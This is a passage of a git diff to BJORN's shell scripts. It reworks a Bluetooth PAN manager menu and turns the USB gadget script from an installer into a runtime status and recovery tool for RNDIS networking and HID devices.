-[Service] -Type=simple -ExecStart=/usr/local/bin/auto_bt_connect.py -Restart=on-failure -RestartSec=10 - -[Install] -WantedBy=multi-user.target -EOF - check_success "Created systemd service at $BT_SERVICE" - else - log "INFO" "Systemd service $BT_SERVICE already exists. Skipping creation." - fi - - # Reload systemd daemon - systemctl daemon-reload - check_success "Reloaded systemd daemon" - - # Enable and start the service - systemctl enable auto_bt_connect.service - check_success "Enabled auto_bt_connect.service" - - systemctl start auto_bt_connect.service - check_success "Started auto_bt_connect.service" - - echo -e "${GREEN}Bluetooth PAN installation completed successfully. A reboot is required for changes to take effect.${NC}" -} - -# ============================================================ -# Function to Uninstall Bluetooth PAN -# ============================================================ -uninstall_bluetooth_pan() { - log "INFO" "Starting Bluetooth PAN uninstallation..." - - # Ensure the script is run as root - if [ "$(id -u)" -ne 0 ]; then - log "ERROR" "This script must be run as root. Please use 'sudo'." - exit 1 - fi - - BT_SERVICE="/etc/systemd/system/auto_bt_connect.service" - BT_PY_SCRIPT="/usr/local/bin/auto_bt_connect.py" - SETTINGS_DIR="/home/bjorn/.settings_bjorn" - BT_CONFIG="$SETTINGS_DIR/bt.json" - - # Stop and disable the service - if systemctl is-active --quiet auto_bt_connect.service; then - systemctl stop auto_bt_connect.service - check_success "Stopped auto_bt_connect.service" - else - log "INFO" "auto_bt_connect.service is not running." - fi - - if systemctl is-enabled --quiet auto_bt_connect.service; then - systemctl disable auto_bt_connect.service - check_success "Disabled auto_bt_connect.service" - else - log "INFO" "auto_bt_connect.service is not enabled." - fi - - # Remove the systemd service file - if [ -f "$BT_SERVICE" ]; then - rm "$BT_SERVICE" - check_success "Removed $BT_SERVICE" - else - log "INFO" "$BT_SERVICE does not exist. Skipping removal." - fi - - # Remove the Python script - if [ -f "$BT_PY_SCRIPT" ]; then - rm "$BT_PY_SCRIPT" - check_success "Removed $BT_PY_SCRIPT" - else - log "INFO" "$BT_PY_SCRIPT does not exist. Skipping removal." - fi - - # Remove Bluetooth configuration directory and file - if [ -d "$SETTINGS_DIR" ]; then - rm -rf "$SETTINGS_DIR" - check_success "Removed settings directory at $SETTINGS_DIR" - else - log "INFO" "Settings directory $SETTINGS_DIR does not exist. Skipping removal." - fi - - # Reload systemd daemon - systemctl daemon-reload - check_success "Reloaded systemd daemon" - - log "SUCCESS" "Bluetooth PAN uninstallation completed successfully." -} - -# ============================================================ -# Function to List Bluetooth PAN Information -# ============================================================ -list_bluetooth_pan_info() { - echo -e "${CYAN}===== Bluetooth PAN Information =====${NC}" - - BT_SERVICE="/etc/systemd/system/auto_bt_connect.service" - BT_PY_SCRIPT="/usr/local/bin/auto_bt_connect.py" - BT_CONFIG="/home/bjorn/.settings_bjorn/bt.json" - - # Check status of auto_bt_connect.service - echo -e "\n${YELLOW}Service Status:${NC}" - if systemctl list-units --type=service | grep -q auto_bt_connect.service; then - systemctl status auto_bt_connect.service --no-pager - else - echo -e "${RED}auto_bt_connect.service is not installed.${NC}" - fi - - # Check if Bluetooth auto-connect Python script exists - echo -e "\n${YELLOW}Bluetooth Auto-Connect Script:${NC}" - if [ -f "$BT_PY_SCRIPT" ]; then - echo -e "${GREEN}$BT_PY_SCRIPT exists.${NC}" - else - echo -e "${RED}$BT_PY_SCRIPT does not exist.${NC}" - fi - - # Check Bluetooth configuration file - echo -e "\n${YELLOW}Bluetooth Configuration File:${NC}" - if [ -f "$BT_CONFIG" ]; then - echo -e "${GREEN}$BT_CONFIG exists.${NC}" - echo -e "${CYAN}Contents:${NC}" - cat "$BT_CONFIG" - else - echo -e "${RED}$BT_CONFIG does not exist.${NC}" - fi - - echo -e "\n===== End of Information =====" -} - -# ============================================================ -# Function to Display the Main Menu -# ============================================================ display_main_menu() { while true; do clear - echo -e "${BLUE}╔════════════════════════════════════════╗${NC}" - echo -e "${BLUE}║ Bluetooth PAN Manager Menu ║${NC}" - echo -e "${BLUE}╠════════════════════════════════════════╣${NC}" - echo -e "${BLUE}║${NC} 1. Install Bluetooth PAN ${BLUE}║${NC}" - echo -e "${BLUE}║${NC} 2. Uninstall Bluetooth PAN ${BLUE}║${NC}" - echo -e "${BLUE}║${NC} 3. List Bluetooth PAN Information ${BLUE}║${NC}" - echo -e "${BLUE}║${NC} 4. Show Help ${BLUE}║${NC}" - echo -e "${BLUE}║${NC} 5. Exit ${BLUE}║${NC}" - echo -e "${BLUE}╚════════════════════════════════════════╝${NC}" - echo -e "Note: Ensure you run this script as root." - echo -e "${YELLOW}Usage: $0 [OPTIONS] (use -h for help)${NC}" - echo -n -e "${GREEN}Please choose an option (1-5): ${NC}" - read choice + print_divider + echo -e "${CYAN} BJORN Bluetooth Runtime Manager v${SCRIPT_VERSION}${NC}" + print_divider + echo -e "${BLUE} 1.${NC} Show Bluetooth PAN status" + echo -e "${BLUE} 2.${NC} Bring Bluetooth PAN up" + echo -e "${BLUE} 3.${NC} Bring Bluetooth PAN down" + echo -e "${BLUE} 4.${NC} Reset Bluetooth PAN" + echo -e "${BLUE} 5.${NC} Scan nearby Bluetooth devices" + echo -e "${BLUE} 6.${NC} Pairing assistant" + echo -e "${BLUE} 7.${NC} Connect now to configured target" + echo -e "${BLUE} 8.${NC} Set/change auto-connect target" + echo -e "${BLUE} 9.${NC} Trust a known device" + echo -e "${BLUE}10.${NC} Disconnect current PAN session" + echo -e "${BLUE}11.${NC} Forget/remove a known device" + echo -e "${BLUE}12.${NC} Show help" + echo -e "${BLUE}13.${NC} Exit" + echo -e "" + echo -e "${YELLOW}Note:${NC} installation/removal is no longer handled here." + echo -n -e "${GREEN}Choose an option (1-13): ${NC}" + read -r choice - case $choice in + case "$choice" in 1) - install_bluetooth_pan + list_bluetooth_status echo "" - read -p "Press Enter to return to the menu..." + read -r -p "Press Enter to return to the menu..." ;; 2) - uninstall_bluetooth_pan + bring_bluetooth_pan_up echo "" - read -p "Press Enter to return to the menu..." + read -r -p "Press Enter to return to the menu..." ;; 3) - list_bluetooth_pan_info + bring_bluetooth_pan_down echo "" - read -p "Press Enter to return to the menu..." + read -r -p "Press Enter to return to the menu..." ;; 4) - show_usage + reset_bluetooth_pan + echo "" + read -r -p "Press Enter to return to the menu..." ;; 5) - log "INFO" "Exiting Bluetooth PAN Manager. Goodbye!" + scan_bluetooth_devices 12 + echo "" + read -r -p "Press Enter to return to the menu..." + ;; + 6) + pairing_assistant + echo "" + read -r -p "Press Enter to return to the menu..." + ;; + 7) + connect_to_target_now "$(get_configured_mac 2>/dev/null || true)" + echo "" + read -r -p "Press Enter to return to the menu..." + ;; + 8) + set_auto_connect_target + echo "" + read -r -p "Press Enter to return to the menu..." + ;; + 9) + trust_selected_device + echo "" + read -r -p "Press Enter to return to the menu..." + ;; + 10) + disconnect_pan_session "$(get_configured_mac 2>/dev/null || true)" + echo "" + read -r -p "Press Enter to return to the menu..." + ;; + 11) + forget_device + echo "" + read -r -p "Press Enter to return to the menu..." + ;; + 12) + show_usage return + echo "" + read -r -p "Press Enter to return to the menu..." + ;; + 13) + log "INFO" "Exiting BJORN Bluetooth Runtime Manager" exit 0 ;; *) - log "ERROR" "Invalid option. Please choose between 1-5." + log "ERROR" "Invalid option. Please choose between 1 and 13." sleep 2 ;; esac done } -# ============================================================ -# Process Command Line Arguments -# ============================================================ -while getopts ":fulh" opt; do - case $opt in - f) - install_bluetooth_pan - exit 0 - ;; - u) - uninstall_bluetooth_pan - exit 0 - ;; - l) - list_bluetooth_pan_info - exit 0 - ;; - h) - show_usage - ;; - \?) - echo -e "${RED}Invalid option: -$OPTARG${NC}" >&2 - show_usage - ;; - esac +while getopts ":udrlspctxfh" opt; do + case "$opt" in + u) + bring_bluetooth_pan_up + exit $? + ;; + d) + bring_bluetooth_pan_down + exit $? + ;; + r) + reset_bluetooth_pan + exit $? + ;; + l) + list_bluetooth_status + exit 0 + ;; + s) + scan_bluetooth_devices 12 + exit $? + ;; + p) + pairing_assistant + exit $? + ;; + c) + connect_to_target_now "$(get_configured_mac 2>/dev/null || true)" + exit $? + ;; + t) + trust_selected_device + exit $? + ;; + x) + disconnect_pan_session "$(get_configured_mac 2>/dev/null || true)" + exit $? + ;; + f) + forget_device + exit $? + ;; + h) + show_usage + ;; + \?) + log "ERROR" "Invalid option: -$OPTARG" + show_usage + ;; + esac done -# ============================================================ -# Main Execution -# ============================================================ -# If no arguments are provided, display the menu if [ $OPTIND -eq 1 ]; then display_main_menu fi diff --git a/bjorn_usb_gadget.sh b/bjorn_usb_gadget.sh index 08825f4..bec3db4 100644 --- a/bjorn_usb_gadget.sh +++ b/bjorn_usb_gadget.sh @@ -1,567 +1,430 @@ #!/bin/bash # bjorn_usb_gadget.sh -# Script to configure USB Gadget for BJORN -# Usage: ./bjorn_usb_gadget.sh -f -# ./bjorn_usb_gadget.sh -u -# ./bjorn_usb_gadget.sh -l -# ./bjorn_usb_gadget.sh -h -# Author: Infinition -# Version: 1.4 -# Description: This script configures and manages USB Gadget for BJORN with duplicate prevention +# Runtime manager for the BJORN USB composite gadget +# Usage: +# ./bjorn_usb_gadget.sh -u Bring the gadget up +# ./bjorn_usb_gadget.sh -d Bring the gadget down +# ./bjorn_usb_gadget.sh -r Reset the gadget (down + up) +# ./bjorn_usb_gadget.sh -l Show detailed status +# ./bjorn_usb_gadget.sh -h Show help +# +# Notes: +# This script no longer installs or removes the USB gadget stack. +# Installation is handled by the BJORN installer. +# This tool is for runtime diagnostics and recovery only. + +set -u -# ============================================================ -# Colors for Output -# ============================================================ RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' BLUE='\033[0;34m' -NC='\033[0m' # No Color +CYAN='\033[0;36m' +NC='\033[0m' -# ============================================================ -# Logging Configuration -# ============================================================ +SCRIPT_VERSION="2.0" LOG_DIR="/var/log/bjorn_install" LOG_FILE="$LOG_DIR/bjorn_usb_gadget_$(date +%Y%m%d_%H%M%S).log" -# Ensure log directory exists -mkdir -p "$LOG_DIR" +USB_GADGET_SERVICE="usb-gadget.service" +USB_GADGET_SCRIPT="/usr/local/bin/usb-gadget.sh" +DNSMASQ_SERVICE="dnsmasq.service" +DNSMASQ_CONFIG="/etc/dnsmasq.d/usb0" +MODULES_LOAD_FILE="/etc/modules-load.d/usb-gadget.conf" +MODULES_FILE="/etc/modules" +INTERFACES_FILE="/etc/network/interfaces" + +mkdir -p "$LOG_DIR" 2>/dev/null || true +touch "$LOG_FILE" 2>/dev/null || true -# ============================================================ -# Logging Function -# ============================================================ log() { - local level=$1 + local level="$1" shift local message="[$(date '+%Y-%m-%d %H:%M:%S')] [$level] $*" - echo -e "$message" | tee -a "$LOG_FILE" - case $level in - "ERROR") echo -e "${RED}$message${NC}" ;; - "SUCCESS") echo -e "${GREEN}$message${NC}" ;; - "WARNING") echo -e "${YELLOW}$message${NC}" ;; - "INFO") echo -e "${BLUE}$message${NC}" ;; - *) echo -e "$message" ;; + local color="$NC" + + case "$level" in + ERROR) color="$RED" ;; + SUCCESS) color="$GREEN" ;; + WARNING) color="$YELLOW" ;; + INFO) color="$BLUE" ;; + SECTION) color="$CYAN" ;; esac + + printf '%s\n' "$message" >> "$LOG_FILE" 2>/dev/null || true + printf '%b%s%b\n' "$color" "$message" "$NC" } -# ============================================================ -# Error Handling -# ============================================================ -handle_error() { - local error_message=$1 - log "ERROR" "$error_message" - exit 1 -} - -# ============================================================ -# Function to Check Command Success -# ============================================================ -check_success() { - if [ $? -eq 0 ]; then - log "SUCCESS" "$1" - return 0 - else - handle_error "$1" - return $? +show_recent_logs() { + if command -v journalctl >/dev/null 2>&1 && systemctl list-unit-files --type=service | grep -q "^${USB_GADGET_SERVICE}"; then + log "INFO" "Recent ${USB_GADGET_SERVICE} logs:" + journalctl -u "$USB_GADGET_SERVICE" -n 20 --no-pager 2>/dev/null || true fi } -# ============================================================ -# Function to Show Usage -# ============================================================ +ensure_root() { + if [ "$(id -u)" -ne 0 ]; then + log "ERROR" "This command must be run as root. Please use sudo." + exit 1 + fi +} + +service_exists() { + systemctl list-unit-files --type=service 2>/dev/null | grep -q "^$1" +} + +service_active() { + systemctl is-active --quiet "$1" +} + +service_enabled() { + systemctl is-enabled --quiet "$1" +} + +usb0_exists() { + ip link show usb0 >/dev/null 2>&1 +} + +print_divider() { + printf '%b%s%b\n' "$CYAN" "============================================================" "$NC" +} + +detect_boot_paths() { + local cmdline="" + local config="" + + if [ -f /boot/firmware/cmdline.txt ]; then + cmdline="/boot/firmware/cmdline.txt" + elif [ -f /boot/cmdline.txt ]; then + cmdline="/boot/cmdline.txt" + fi + + if [ -f /boot/firmware/config.txt ]; then + config="/boot/firmware/config.txt" + elif [ -f /boot/config.txt ]; then + config="/boot/config.txt" + fi + + printf '%s|%s\n' "$cmdline" "$config" +} + +wait_for_condition() { + local description="$1" + local attempts="$2" + shift 2 + + local i=1 + while [ "$i" -le "$attempts" ]; do + if "$@"; then + log "SUCCESS" "$description" + return 0 + fi + log "INFO" "Waiting for $description ($i/$attempts)..." + sleep 1 + i=$((i + 1)) + done + + log "WARNING" "$description not reached after ${attempts}s" + return 1 +} show_usage() { echo -e "${GREEN}Usage: $0 [OPTIONS]${NC}" echo -e "Options:" - echo -e " ${BLUE}-f${NC} Install USB Gadget" - echo -e " ${BLUE}-u${NC} Uninstall USB Gadget" - echo -e " ${BLUE}-l${NC} List USB Gadget Information" + echo -e " ${BLUE}-u${NC} Bring USB Gadget up" + echo -e " ${BLUE}-d${NC} Bring USB Gadget down" + echo -e " ${BLUE}-r${NC} Reset USB Gadget (down + up)" + echo -e " ${BLUE}-l${NC} List detailed USB Gadget status" echo -e " ${BLUE}-h${NC} Show this help message" echo -e "" - echo -e "Example:" - echo -e " $0 -f Install USB Gadget" - echo -e " $0 -u Uninstall USB Gadget" - echo -e " $0 -l List USB Gadget Information" - echo -e " $0 -h Show help" + echo -e "Examples:" + echo -e " $0 -u Start the BJORN composite gadget" + echo -e " $0 -d Stop the BJORN composite gadget cleanly" + echo -e " $0 -r Reinitialize the gadget if RNDIS/HID is stuck" + echo -e " $0 -l Show services, usb0, /dev/hidg*, and boot config" echo -e "" - echo -e "${YELLOW}===== RNDIS Configuration Procedure =====${NC}" - echo -e "To configure the RNDIS driver and set the IP address, subnet mask, and gateway for the RNDIS network interface card, follow the steps below:" - echo -e "" - echo -e "1. **Configure IP Address on the Server (Pi):**" - echo -e " - The default IP address is set in the script as follows:" - echo -e " - IP: 172.20.2.1" - echo -e " - Subnet Mask: 255.255.255.0" - echo -e " - Gateway: 172.20.2.1" - echo -e "" - echo -e "2. **Configure IP Address on the Host Computer:**" - echo -e " - On your host computer (Windows, Linux, etc.), configure the RNDIS network interface to use an IP address in the same subnet. For example:" - echo -e " - IP: 172.20.2.2" - echo -e " - Subnet Mask: 255.255.255.0" - echo -e " - Gateway: 172.20.2.1" - echo -e "" - echo -e "3. **Restart the Service:**" - echo -e " - After installing the USB gadget, restart the service to apply the changes:" - echo -e " ```bash" - echo -e " sudo systemctl restart usb-gadget.service" - echo -e " ```" - echo -e "" - echo -e "4. **Verify the Connection:**" - echo -e " - Ensure that the RNDIS network interface is active on both devices." - echo -e " - Test connectivity by pinging the IP address of the other device." - echo -e " - From the Pi: \`ping 172.20.2.2\`" - echo -e " - From the host computer: \`ping 172.20.2.1\`" - echo -e "" - echo -e "===== End of Procedure =====${NC}" - exit 1 + echo -e "${YELLOW}This script no longer installs or removes USB Gadget.${NC}" + echo -e "${YELLOW}That part is handled by the BJORN installer.${NC}" + if [ "${1:-exit}" = "return" ]; then + return 0 + fi + exit 0 } -# ============================================================ -# Function to Install USB Gadget with RNDIS -# ============================================================ -install_usb_gadget() { - log "INFO" "Starting USB Gadget installation..." - - # Ensure the script is run as root - if [ "$(id -u)" -ne 0 ]; then - log "ERROR" "This script must be run as root. Please use 'sudo'." - exit 1 - fi - - # Backup cmdline.txt and config.txt if not already backed up - if [ ! -f /boot/firmware/cmdline.txt.bak ]; then - cp /boot/firmware/cmdline.txt /boot/firmware/cmdline.txt.bak - check_success "Backed up /boot/firmware/cmdline.txt to /boot/firmware/cmdline.txt.bak" - else - log "INFO" "/boot/firmware/cmdline.txt.bak already exists. Skipping backup." - fi - - if [ ! -f /boot/firmware/config.txt.bak ]; then - cp /boot/firmware/config.txt /boot/firmware/config.txt.bak - check_success "Backed up /boot/firmware/config.txt to /boot/firmware/config.txt.bak" - else - log "INFO" "/boot/firmware/config.txt.bak already exists. Skipping backup." - fi - - # Modify cmdline.txt: Remove existing modules-load entries related to dwc2 - log "INFO" "Cleaning up existing modules-load entries in /boot/firmware/cmdline.txt" - sudo sed -i '/modules-load=dwc2,g_rndis/d' /boot/firmware/cmdline.txt - sudo sed -i '/modules-load=dwc2,g_ether/d' /boot/firmware/cmdline.txt - check_success "Removed duplicate modules-load entries from /boot/firmware/cmdline.txt" - - # Add a single modules-load=dwc2,g_rndis if not present - if ! grep -q "modules-load=dwc2,g_rndis" /boot/firmware/cmdline.txt; then - sudo sed -i 's/rootwait/rootwait modules-load=dwc2,g_rndis/' /boot/firmware/cmdline.txt - check_success "Added modules-load=dwc2,g_rndis to /boot/firmware/cmdline.txt" - else - log "INFO" "modules-load=dwc2,g_rndis already present in /boot/firmware/cmdline.txt" - fi - - # Add a single modules-load=dwc2,g_ether if not present - if ! grep -q "modules-load=dwc2,g_ether" /boot/firmware/cmdline.txt; then - sudo sed -i 's/rootwait/rootwait modules-load=dwc2,g_ether/' /boot/firmware/cmdline.txt - check_success "Added modules-load=dwc2,g_ether to /boot/firmware/cmdline.txt" - else - log "INFO" "modules-load=dwc2,g_ether already present in /boot/firmware/cmdline.txt" - fi - - # Modify config.txt: Remove duplicate dtoverlay=dwc2 entries - log "INFO" "Cleaning up existing dtoverlay=dwc2 entries in /boot/firmware/config.txt" - sudo sed -i '/^dtoverlay=dwc2$/d' /boot/firmware/config.txt - check_success "Removed duplicate dtoverlay=dwc2 entries from /boot/firmware/config.txt" - - # Append a single dtoverlay=dwc2 if not present - if ! grep -q "^dtoverlay=dwc2$" /boot/firmware/config.txt; then - echo "dtoverlay=dwc2" | sudo tee -a /boot/firmware/config.txt - check_success "Appended dtoverlay=dwc2 to /boot/firmware/config.txt" - else - log "INFO" "dtoverlay=dwc2 already present in /boot/firmware/config.txt" - fi - - # Create USB gadget script - if [ ! -f /usr/local/bin/usb-gadget.sh ]; then - log "INFO" "Creating USB gadget script at /usr/local/bin/usb-gadget.sh" - cat > /usr/local/bin/usb-gadget.sh << 'EOF' -#!/bin/bash -set -e - -# Enable debug mode for detailed logging -set -x - -modprobe libcomposite -cd /sys/kernel/config/usb_gadget/ -mkdir -p g1 -cd g1 - -echo 0x1d6b > idVendor -echo 0x0104 > idProduct -echo 0x0100 > bcdDevice -echo 0x0200 > bcdUSB - -mkdir -p strings/0x409 -echo "fedcba9876543210" > strings/0x409/serialnumber -echo "Raspberry Pi" > strings/0x409/manufacturer -echo "Pi Zero USB" > strings/0x409/product - -mkdir -p configs/c.1/strings/0x409 -echo "Config 1: RNDIS Network" > configs/c.1/strings/0x409/configuration -echo 250 > configs/c.1/MaxPower - -mkdir -p functions/rndis.usb0 - -# Remove existing symlink if it exists to prevent duplicates -if [ -L configs/c.1/rndis.usb0 ]; then - rm configs/c.1/rndis.usb0 -fi -ln -s functions/rndis.usb0 configs/c.1/ - -# Ensure the device is not busy before listing available USB device controllers -max_retries=10 -retry_count=0 - -while ! ls /sys/class/udc > UDC 2>/dev/null; do - if [ $retry_count -ge $max_retries ]; then - echo "Error: Device or resource busy after $max_retries attempts." - exit 1 - fi - retry_count=$((retry_count + 1)) - sleep 1 -done - -# Assign the USB Device Controller (UDC) -UDC_NAME=$(ls /sys/class/udc) -echo "$UDC_NAME" > UDC -echo "Assigned UDC: $UDC_NAME" - -# Check if the usb0 interface is already configured -if ! ip addr show usb0 | grep -q "172.20.2.1"; then - ifconfig usb0 172.20.2.1 netmask 255.255.255.0 - echo "Configured usb0 with IP 172.20.2.1" -else - echo "Interface usb0 already configured." -fi -EOF - - chmod +x /usr/local/bin/usb-gadget.sh - check_success "Created and made USB gadget script executable at /usr/local/bin/usb-gadget.sh" - else - log "INFO" "USB gadget script /usr/local/bin/usb-gadget.sh already exists. Skipping creation." - fi - - # Create USB gadget service - if [ ! -f /etc/systemd/system/usb-gadget.service ]; then - log "INFO" "Creating USB gadget systemd service at /etc/systemd/system/usb-gadget.service" - cat > /etc/systemd/system/usb-gadget.service << EOF -[Unit] -Description=USB Gadget Service -After=network.target - -[Service] -ExecStartPre=/sbin/modprobe libcomposite -ExecStart=/usr/local/bin/usb-gadget.sh -Type=simple -RemainAfterExit=yes - -[Install] -WantedBy=multi-user.target -EOF - check_success "Created USB gadget systemd service at /etc/systemd/system/usb-gadget.service" - else - log "INFO" "USB gadget systemd service /etc/systemd/system/usb-gadget.service already exists. Skipping creation." - fi - - # Configure network interface: Remove duplicate entries first - log "INFO" "Cleaning up existing network interface configurations for usb0 in /etc/network/interfaces" - if grep -q "^allow-hotplug usb0" /etc/network/interfaces; then - # Remove all lines starting with allow-hotplug usb0 and the following lines (iface and settings) - sudo sed -i '/^allow-hotplug usb0$/,/^$/d' /etc/network/interfaces - check_success "Removed existing network interface configurations for usb0 from /etc/network/interfaces" - else - log "INFO" "No existing network interface configuration for usb0 found in /etc/network/interfaces." - fi - - # Append network interface configuration for usb0 if not already present - if ! grep -q "^allow-hotplug usb0" /etc/network/interfaces; then - log "INFO" "Appending network interface configuration for usb0 to /etc/network/interfaces" - cat >> /etc/network/interfaces << EOF - -allow-hotplug usb0 -iface usb0 inet static - address 172.20.2.1 - netmask 255.255.255.0 - gateway 172.20.2.1 -EOF - check_success "Appended network interface configuration for usb0 to /etc/network/interfaces" - else - log "INFO" "Network interface usb0 already configured in /etc/network/interfaces" - fi - - # Reload systemd daemon and enable/start services - log "INFO" "Reloading systemd daemon" - systemctl daemon-reload - check_success "Reloaded systemd daemon" - - log "INFO" "Enabling systemd-networkd service" - systemctl enable systemd-networkd - check_success "Enabled systemd-networkd service" - - log "INFO" "Enabling usb-gadget service" - systemctl enable usb-gadget.service - check_success "Enabled usb-gadget service" - - log "INFO" "Starting systemd-networkd service" - systemctl start systemd-networkd - check_success "Started systemd-networkd service" - - log "INFO" "Starting usb-gadget service" - systemctl start usb-gadget.service - check_success "Started usb-gadget service" - - log "SUCCESS" "USB Gadget installation completed successfully." -} - -# ============================================================ -# Function to Uninstall USB Gadget -# ============================================================ -uninstall_usb_gadget() { - log "INFO" "Starting USB Gadget uninstallation..." - - # Ensure the script is run as root - if [ "$(id -u)" -ne 0 ]; then - log "ERROR" "This script must be run as root. Please use 'sudo'." - exit 1 - fi - - # Stop and disable USB gadget service - if systemctl is-active --quiet usb-gadget.service; then - systemctl stop usb-gadget.service - check_success "Stopped usb-gadget.service" - else - log "INFO" "usb-gadget.service is not running." - fi - - if systemctl is-enabled --quiet usb-gadget.service; then - systemctl disable usb-gadget.service - check_success "Disabled usb-gadget.service" - else - log "INFO" "usb-gadget.service is not enabled." - fi - - # Remove USB gadget service file - if [ -f /etc/systemd/system/usb-gadget.service ]; then - rm /etc/systemd/system/usb-gadget.service - check_success "Removed /etc/systemd/system/usb-gadget.service" - else - log "INFO" "/etc/systemd/system/usb-gadget.service does not exist. Skipping removal." - fi - - # Remove USB gadget script - if [ -f /usr/local/bin/usb-gadget.sh ]; then - rm /usr/local/bin/usb-gadget.sh - check_success "Removed /usr/local/bin/usb-gadget.sh" - else - log "INFO" "/usr/local/bin/usb-gadget.sh does not exist. Skipping removal." - fi - - # Restore cmdline.txt and config.txt from backups - if [ -f /boot/firmware/cmdline.txt.bak ]; then - cp /boot/firmware/cmdline.txt.bak /boot/firmware/cmdline.txt - chmod 644 /boot/firmware/cmdline.txt - check_success "Restored /boot/firmware/cmdline.txt from backup" - else - log "WARNING" "Backup /boot/firmware/cmdline.txt.bak not found. Skipping restoration." - fi - - if [ -f /boot/firmware/config.txt.bak ]; then - cp /boot/firmware/config.txt.bak /boot/firmware/config.txt - check_success "Restored /boot/firmware/config.txt from backup" - else - log "WARNING" "Backup /boot/firmware/config.txt.bak not found. Skipping restoration." - fi - - # Remove network interface configuration for usb0: Remove all related lines - if grep -q "^allow-hotplug usb0" /etc/network/interfaces; then - log "INFO" "Removing network interface configuration for usb0 from /etc/network/interfaces" - # Remove lines from allow-hotplug usb0 up to the next empty line - sudo sed -i '/^allow-hotplug usb0$/,/^$/d' /etc/network/interfaces - check_success "Removed network interface configuration for usb0 from /etc/network/interfaces" - else - log "INFO" "Network interface usb0 not found in /etc/network/interfaces. Skipping removal." - fi - - # Reload systemd daemon - log "INFO" "Reloading systemd daemon" - systemctl daemon-reload - check_success "Reloaded systemd daemon" - - # Disable and stop systemd-networkd service - if systemctl is-active --quiet systemd-networkd; then - systemctl stop systemd-networkd - check_success "Stopped systemd-networkd service" - else - log "INFO" "systemd-networkd service is not running." - fi - - if systemctl is-enabled --quiet systemd-networkd; then - systemctl disable systemd-networkd - check_success "Disabled systemd-networkd service" - else - log "INFO" "systemd-networkd service is not enabled." - fi - - # Clean up any remaining duplicate entries in cmdline.txt and config.txt - log "INFO" "Ensuring no duplicate entries remain in configuration files." - - # Remove any remaining modules-load=dwc2,g_rndis and modules-load=dwc2,g_ether - sudo sed -i '/modules-load=dwc2,g_rndis/d' /boot/firmware/cmdline.txt - sudo sed -i '/modules-load=dwc2,g_ether/d' /boot/firmware/cmdline.txt - - # Remove any remaining dtoverlay=dwc2 - sudo sed -i '/^dtoverlay=dwc2$/d' /boot/firmware/config.txt - - log "INFO" "Cleaned up duplicate entries in /boot/firmware/cmdline.txt and /boot/firmware/config.txt" - - log "SUCCESS" "USB Gadget uninstallation completed successfully." -} - -# ============================================================ -# Function to List USB Gadget Information -# ============================================================ list_usb_gadget_info() { - echo -e "${CYAN}===== USB Gadget Information =====${NC}" + local boot_pair + local cmdline_file + local config_file - # Check status of usb-gadget service - echo -e "\n${YELLOW}Service Status:${NC}" - if systemctl list-units --type=service | grep -q usb-gadget.service; then - systemctl status usb-gadget.service --no-pager + boot_pair="$(detect_boot_paths)" + cmdline_file="${boot_pair%%|*}" + config_file="${boot_pair##*|}" + + print_divider + log "SECTION" "BJORN USB Gadget Status" + print_divider + + log "INFO" "Expected layout: RNDIS usb0 + HID keyboard /dev/hidg0 + HID mouse /dev/hidg1" + log "INFO" "Script version: ${SCRIPT_VERSION}" + log "INFO" "Log file: ${LOG_FILE}" + + print_divider + log "SECTION" "Service Status" + if service_exists "$USB_GADGET_SERVICE"; then + service_active "$USB_GADGET_SERVICE" && log "SUCCESS" "${USB_GADGET_SERVICE} is active" || log "WARNING" "${USB_GADGET_SERVICE} is not active" + service_enabled "$USB_GADGET_SERVICE" && log "SUCCESS" "${USB_GADGET_SERVICE} is enabled at boot" || log "WARNING" "${USB_GADGET_SERVICE} is not enabled at boot" else - echo -e "${RED}usb-gadget.service is not installed.${NC}" + log "ERROR" "${USB_GADGET_SERVICE} is not installed on this system" fi - # Check if USB gadget script exists - echo -e "\n${YELLOW}USB Gadget Script:${NC}" - if [ -f /usr/local/bin/usb-gadget.sh ]; then - echo -e "${GREEN}/usr/local/bin/usb-gadget.sh exists.${NC}" + if service_exists "$DNSMASQ_SERVICE"; then + service_active "$DNSMASQ_SERVICE" && log "SUCCESS" "${DNSMASQ_SERVICE} is active" || log "WARNING" "${DNSMASQ_SERVICE} is not active" else - echo -e "${RED}/usr/local/bin/usb-gadget.sh does not exist.${NC}" + log "WARNING" "${DNSMASQ_SERVICE} is not installed" fi - # Check network interface configuration - echo -e "\n${YELLOW}Network Interface Configuration for usb0:${NC}" - if grep -q "^allow-hotplug usb0" /etc/network/interfaces; then - grep "^allow-hotplug usb0" /etc/network/interfaces -A 4 + print_divider + log "SECTION" "Runtime Files" + [ -x "$USB_GADGET_SCRIPT" ] && log "SUCCESS" "${USB_GADGET_SCRIPT} is present and executable" || log "ERROR" "${USB_GADGET_SCRIPT} is missing or not executable" + [ -c /dev/hidg0 ] && log "SUCCESS" "/dev/hidg0 (keyboard) is available" || log "WARNING" "/dev/hidg0 (keyboard) is not present" + [ -c /dev/hidg1 ] && log "SUCCESS" "/dev/hidg1 (mouse) is available" || log "WARNING" "/dev/hidg1 (mouse) is not present" + + if ip link show usb0 >/dev/null 2>&1; then + log "SUCCESS" "usb0 network interface exists" + ip -brief addr show usb0 2>/dev/null || true else - echo -e "${RED}No network interface configuration found for usb0.${NC}" + log "WARNING" "usb0 network interface is missing" fi - # Check cmdline.txt - echo -e "\n${YELLOW}/boot/firmware/cmdline.txt:${NC}" - if grep -q "modules-load=dwc2,g_rndis" /boot/firmware/cmdline.txt && grep -q "modules-load=dwc2,g_ether" /boot/firmware/cmdline.txt; then - echo -e "${GREEN}modules-load=dwc2,g_rndis and modules-load=dwc2,g_ether are present.${NC}" + if [ -d /sys/kernel/config/usb_gadget/g1 ]; then + log "SUCCESS" "Composite gadget directory exists: /sys/kernel/config/usb_gadget/g1" + find /sys/kernel/config/usb_gadget/g1/functions -maxdepth 1 -mindepth 1 -type d 2>/dev/null || true else - echo -e "${RED}modules-load=dwc2,g_rndis and/or modules-load=dwc2,g_ether are not present.${NC}" + log "WARNING" "No active gadget directory found under /sys/kernel/config/usb_gadget/g1" fi - # Check config.txt - echo -e "\n${YELLOW}/boot/firmware/config.txt:${NC}" - if grep -q "^dtoverlay=dwc2" /boot/firmware/config.txt; then - echo -e "${GREEN}dtoverlay=dwc2 is present.${NC}" + print_divider + log "SECTION" "Boot Configuration" + if [ -n "$cmdline_file" ] && [ -f "$cmdline_file" ]; then + grep -q "modules-load=dwc2" "$cmdline_file" && log "SUCCESS" "dwc2 boot module load is configured in ${cmdline_file}" || log "WARNING" "dwc2 boot module load not found in ${cmdline_file}" else - echo -e 